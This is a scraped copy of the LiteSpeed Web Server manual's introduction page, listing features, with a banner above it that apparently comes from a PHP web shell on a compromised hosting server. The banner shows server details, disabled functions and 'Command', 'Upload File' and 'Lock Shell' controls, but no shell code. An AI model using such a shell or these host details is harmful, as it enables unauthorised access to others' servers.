|
Server IP : 82.180.170.48 / Your IP : 216.73.216.40 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../proc/../bin/../lib/../sbin/../local/lib64/../lsws/docs/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
<!DOCTYPE html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>LiteSpeed Web Server Users' Manual - Introduction</title>
<meta name="description" content="LiteSpeed Web Server Users' Manual - Introduction." />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="robots" content="noindex">
<link rel="shortcut icon" href="img/favicon.ico" />
<link rel="stylesheet" type="text/css" href="css/hdoc.css">
</head>
<body>
<div class="pagewrapper clearfix"><aside class="sidetree ls-col-1-5">
<figure>
<img src="img/lsws_logo.svg" alt="lightspeed web server logo"
width="100px"/>
</figure>
<h2 class="ls-text-thin">
LiteSpeed Web Server
<br />
<span class="current"><a href="index.html">Users' Manual</a></span>
</h2>
<h3 class="ls-text-muted">Version 6.3 — Rev. 4</h3>
<hr/>
<div>
<ul>
<li><a href="license.html">License Enterprise</a></li>
<li><span class="current"><a href="intro.html">Introduction</a></span></li>
<li><a href="install.html">Installation</a></li>
<li>
<a href="admin.html">Administration</a>
<ul class="menu level2">
<li><a href="ServerStat_Help.html">Service Manager</a></li>
<li><a href="Real_Time_Stats_Help.html">Real-Time Stats</a></li>
</ul>
</li>
<li><a href="security.html">Security</a></li>
<li>
<a href="config.html">Configuration</a>
<ul class="level2">
<li><a href="ServGeneral_Help.html">Server General</a></li>
<li><a href="ServLog_Help.html">Server Log</a></li>
<li><a href="ServTuning_Help.html">Server Tuning</a></li>
<li><a href="ServSecurity_Help.html">Server Security</a></li>
<li><a href="Cache_Help.html">Page Cache</a></li>
<li><a href="PageSpeed_Config.html">PageSpeed Config</a></li>
<li><a href="ExtApp_Help.html">External Apps</a></li>
<ul class="level3">
<li><a href="External_FCGI.html">Fast CGI App</a></li>
<li><a href="External_FCGI_Auth.html">Fast CGI Authorizer</a></li>
<li><a href="External_LSAPI.html">LSAPI App</a></li>
<li><a href="External_Servlet.html">Servlet Engine</a></li>
<li><a href="External_WS.html">Web Server</a></li>
<li><a href="External_PL.html">Piped logger</a></li>
<li><a href="External_LB.html">Load Balancer</a></li>
</ul>
<li><a href="ScriptHandler_Help.html">Script Handler</a></li>
<li><a href="PHP_Help.html">PHP</a></li>
<li><a href="App_Server_Help.html">App Server Settings</a></li>
<li><a href="Listeners_General_Help.html">Listener General</a></li>
<li><a href="Listeners_SSL_Help.html">Listener SSL</a></li>
<li><a href="Templates_Help.html">Virtual Host Templates</a></li>
<li><a href="VirtualHosts_Help.html">Virtual Host Basic</a></li>
<li><a href="VHGeneral_Help.html">Virtual Host General</a></li>
<li><a href="VHSecurity_Help.html">Virtual Host Security</a></li>
<li><a href="VHSSL_Help.html">Virtual Host SSL</a></li>
<li>
<a href="VHPageSpeed_Config.html">Virtual Host PageSpeed Config</a>
</li>
<li><a href="Rewrite_Help.html">Rewrite</a></li>
<li><a href="Context_Help.html">Context</a></li>
<ul class="level3">
<li><a href="Static_Context.html">Static Context</a></li>
<li>
<a href="Java_Web_App_Context.html">Java Web App Context</a>
</li>
<li><a href="Servlet_Context.html">Servlet Context</a></li>
<li><a href="FCGI_Context.html">Fast CGI Context</a></li>
<li><a href="LSAPI_Context.html">LSAPI Context</a></li>
<li><a href="Proxy_Context.html">Proxy Context</a></li>
<li><a href="CGI_Context.html">CGI Context</a></li>
<li><a href="LB_Context.html">Load Balancer Context</a></li>
<li><a href="Redirect_Context.html">Redirect Context</a></li>
<li><a href="App_Server_Context.html">App Server Context</a></li>
<li><a href="Rails_Context.html">Rack/Rails Context</a></li>
</ul>
<li><a href="VHAddOns_Help.html">Add-ons</a></li>
</ul>
</li>
<li>
<a href="webconsole.html">Web Console</a>
<ul class="level2">
<li><a href="AdminGeneral_Help.html">Admin Console General</a></li>
<li><a href="AdminSecurity_Help.html">Admin Console Security</a></li>
<li>
<a href="AdminListeners_General_Help.html">
Admin Listener General
</a>
</li>
<li>
<a href="AdminListeners_SSL_Help.html">Admin Listener SSL</a>
</li>
</ul>
</li>
</ul>
</div>
</aside>
<article class="contentwrapper ls-col-3-5 clearfix"><div class="nav-bar ls-spacer-micro-top"><div class="prev">« <a href="license.html">EULA - Enterprise Edition</a></div><div class="center"><a href="index.html">Home</a></div><div class="next"><a href="install.html">Installation</a> »</div></div>
<h1>Introduction</h1>
<h3>Overview</h3>
<p>
LiteSpeed Web Server is an Apache-interchangeable, high performance, secure, easy-to-use web server. It can handle
thousands of concurrent connections with a small memory footprint. Its security features also make it much less
vulnerable to various attacks.
</p>
<h3>LiteSpeed Exclusive Features</h3>
<ul>
<li>Apache Drop-In Replacement</li>
<li>HTTP/2 Support</li>
<li>QUIC Support</li>
<li>Zero Downtime</li>
<li>Anti-DDoS Advances</li>
<li>Event-Driven Architecture</li>
</ul>
<h3>Features</h3>
<ul>
<li>
<p><strong>HTTP/1.1</strong></p>
<ul>
<li>HTTP/2</li>
<li>HTTP 1.0/1.1 compliant</li>
<li>Scripting Languages: PHP, Perl, Ruby, Python, Java, etc...</li>
<li>Server APIs: LiteSpeed SAPI (LSAPI), CGI, FCGI, AJPv13, Proxy</li>
<li>HTTPS</li>
<li>IPv4 and IPv6</li>
<li>Unlimited IP and name-based virtual hosting</li>
<li>Unlimited concurrent connections</li>
<li>GZIP compression</li>
<li>Support for SPDY/2, 3, and 3.1</li>
<li>WebSocket proxying</li>
<li>Runs on Linux, FreeBSD, MacOSX, Solaris</li>
</ul>
</li>
<li>
<p><strong>Performance & Scalability</strong></p>
<ul>
<li>Event-driven architecture</li>
<li>Hundreds of thousands of concurrent connections</li>
<li>Tiny memory footprint</li>
<li>Sendfile()</li>
<li>Asynchronous I/O support</li>
<li>LiteSpeed's exclusive server API (LSAPI) delivers the best dynamic content performance</li>
<li>Unrivaled PHP suEXEC performance for shared hosting</li>
<li>Three different PHP process modes for different needs and abilities</li>
<li>Static content up to 5x faster than Apache</li>
<li>Dynamic content up to 40x faster than Apache</li>
<li>HTTPS 3x faster than Apache</li>
<li>OCSP stapling</li>
<li>Built-in page caching</li>
<li>Turbocharge Magento and other web applications with ESI support</li>
<li>Advanced .htaccess caching removes performance bottlenecks associated with .htaccess use in Apache</li>
<li>CloudLinux LVE compatibility</li>
<li>Increases scalability of web applications</li>
<li>
Separation of server and web applications allows for buffering of requests and responses, leading to better
handling of multiple connections
</li>
<li>Just in time configuration cuts restart time</li>
<li>CPU affinity allows for greater use of CPU cache</li>
</ul>
</li>
<li>
<p><strong>Apache Compatibility</strong></p>
<ul>
<li>Reads Apache's configuration files directly</li>
<li>Drop-in Apache replacement for cPanel, Plesk, DirectAdmin, Interworx, etc.</li>
<li>Full .htaccess support</li>
<li>Compatible with Apache core modules</li>
</ul>
</li>
<li>
<p><strong>Security</strong></p>
<ul>
<li>Built-in anti-DDoS connection and bandwidth throttling</li>
<li>mod_security compatibility</li>
<li>Compatibility with Atomic Secured Linux and Atomicorp Realtime ModSecurity Rules</li>
<li>Anti SSL BEAST and renegotiation attack capabilities</li>
<li>Strict HTTP request validation</li>
<li>Denies buffer-overrun attempts</li>
<li>PHP/Ruby/CGI/FCGI/LSAPI suEXEC</li>
<li>CloudLinux CageFS compatibility</li>
<li>External application and full server chroot ability</li>
</ul>
</li>
<li>
<p><strong>High Availability</strong></p>
<ul>
<li>Apply changes with zero downtime</li>
<li>Zero downtime server software upgrade</li>
<li>Recovers from service failure instantly</li>
</ul>
</li>
<li>
<p><strong>Ease of Use</strong></p>
<ul>
<li>Control panel plugins (cPanel, DirectAdmin, and Plesk)</li>
<li>Officially supported by cPanel</li>
<li>Intuitive WebAdmin console GUI</li>
<li>Virtual host templates for easy configuration</li>
<li>Real-time service monitoring</li>
</ul>
</li>
<li>
<p><strong>Advanced Features</strong></p>
<ul>
<li>Easily run multiple versions of PHP on one server</li>
<li>MS FrontPage Server Extensions</li>
<li>Geo-IP lookup</li>
<li>Stream logs to external logger</li>
<li>Custom log formatting</li>
<li>Backend load balancing</li>
<li>mp4/flv streaming</li>
</ul>
</li>
</ul></article><div class="ls-col-1-1"><footer class="copyright">Copyright © 2003-2020. <a href="https://www.litespeedtech.com">LiteSpeed Technologies Inc.</a> All rights reserved.</footer>
</div></div>
</body>
</html>